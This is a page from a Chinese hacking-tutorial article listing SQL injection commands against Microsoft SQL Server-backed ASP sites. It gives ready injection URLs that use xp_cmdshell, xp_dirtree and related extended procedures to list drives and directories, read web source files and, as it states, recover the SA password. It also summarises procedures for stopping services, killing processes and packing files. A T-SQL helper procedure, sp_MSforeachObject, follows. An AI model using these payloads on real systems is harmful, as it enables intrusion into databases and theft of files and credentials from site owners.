當(dāng)前位置:首頁文章首頁 IT學(xué)院 IT技術(shù)

比較全的SQL注入相關(guān)的命令分享

作者:  來源:  發(fā)布時間:2011-6-15 15:18:23  點擊:


   遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄,先創(chuàng)建一個臨時表:temp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    接下來:我們可以利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
   我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息或者利用xp_subdirs獲得子目錄列表,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
   我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 這樣就可以成功的瀏覽到所有的目錄(文件夾)列表
   如果我們需要查看某個文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
   使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   瀏覽temp就可以看到index.asp文件的內(nèi)容了!通過分析各種ASP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)與管理信息,甚至可以得到SA帳號的連接密碼。

31、一些sql中的擴展存儲的總結(jié):
xp_availablemedia 顯示系統(tǒng)上可用的盤符'C:\' xp_availablemedia
xp_enumgroups 列出當(dāng)前系統(tǒng)的使用群組及其說明 xp_enumgroups
xp_enumdsn 列出系統(tǒng)上已經(jīng)設(shè)置好的ODBC數(shù)據(jù)源名稱 xp_enumdsn
xp_dirtree 顯示某個目錄下的子目錄與文件架構(gòu) xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 獲取某文件的相關(guān)屬性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 將目標(biāo)計算機多個檔案壓縮到某個檔案里所壓縮的檔案都可以接在參數(shù)的后面用豆號隔開 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解壓縮 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服務(wù)器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者啟動某個服務(wù) xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid來停止某個執(zhí)行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某個目錄下的子目錄 dbo.xp_subdirs 'C:\'

32、
USE MASTER
GO
CREATE proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
    end
/* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
    exec(@postcommand)
return @retval
GO


/*
1。獲得所有的存儲過程的腳本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。獲得所有的視圖的腳本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

33、DB_OWNER權(quán)限下的數(shù)據(jù)庫備份方法
用openrowset吧。
首頁 上一頁 [4] [5] [6] [7] [8]  下一頁 尾頁

相關(guān)軟件

相關(guān)文章

文章評論

軟件按字母排列: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z